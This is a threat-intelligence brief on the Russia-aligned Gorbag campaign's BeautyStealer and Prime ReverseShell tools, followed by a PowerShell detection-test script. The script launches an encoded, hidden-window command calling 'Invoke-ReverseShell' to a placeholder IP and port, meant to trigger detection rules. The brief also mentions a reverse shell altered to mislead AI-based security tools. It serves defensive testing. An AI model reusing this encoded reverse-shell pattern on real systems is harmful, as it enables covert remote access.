Gorbag Malware Campaign Harvests Intelligence from Ukraine

Summary

Gorbag is a Russia-aligned threat actor targeting Ukrainian organizations to collect sensitive information. The group uses a specialized toolkit that includes the BeautyStealer infostealer and Prime ReverseShell to harvest browser credentials, VPN configurations, and documents. Its operations emphasize rapid intelligence collection over long-term persistence, suggesting a possible role as an initial access broker.

Investigation

ESET researchers have tracked Gorbag activity since February 2025 and observed a shift in 2026 toward exploiting a WinRAR path traversal vulnerability. The investigation identified multiple BeautyStealer variants and analyzed exfiltration through Telegram and custom C2 infrastructure. Researchers also uncovered a PowerShell reverse shell modified to mislead AI-based security tools.

Mitigation

Organizations should update WinRAR to address CVE-2025-8088 and strengthen email filtering to block spearphishing attempts. Restricting macro execution through Group Policy can help prevent the initial infection stage. Security teams should also monitor unusual PowerShell activity and unauthorized data exfiltration to services such as Telegram.

Response

When malicious activity is detected, isolate compromised hosts to stop further data exfiltration and credential theft. Conduct forensic analysis of the %ProgramData% directory and Windows Startup folder for suspicious LNK files or payloads. Reset all potentially exposed credentials, including browser-stored passwords and VPN configurations, across the affected environment.

Simulation Execution

• Attack Narrative & Commands: An adversary has gained initial access via a spearphishing attachment. To establish persistence and a command-and-control (C2) channel, they attempt to deploy the “Prime ReverseShell.” They utilize PowerShell with the -Enc (EncodedCommand) flag to hide the payload structure from basic inspection and include the string Invoke-ReverseShell within the decoded logic to maintain compatibility with existing toolkit signatures. Simultaneously, they simulate “BeautyStealer” activity by calling a script containing that specific identifier to exfiltrate browser data.

• Regression Test Script:

  # Simulation Script: Gorbag APT Pattern Trigger
  # This script executes two separate commands to trigger the specific detection strings.
  
  Write-Host "[+] Starting Simulation: Triggering Prime ReverseShell/BeautyStealer Logic..." -ForegroundColor Cyan
  
  # 1. Trigger via -Enc and Invoke-ReverseShell (Simulating Prime ReverseShell)
  # We use a Base64 encoded command that, when decoded, contains 'Invoke-ReverseShell'
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] Executing Encoded Command..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. Trigger via 'BeautyStealer' keyword (Simulating BeautyStealer activity)
  Write-Host "[+] Executing BeautyStealer Keyword Trigger..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] Simulation commands dispatched." -ForegroundColor Green

• Cleanup Commands:

  # Cleanup: No persistent files were created, but we ensure no orphaned processes remain.
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] Cleanup complete." -ForegroundColor Cyan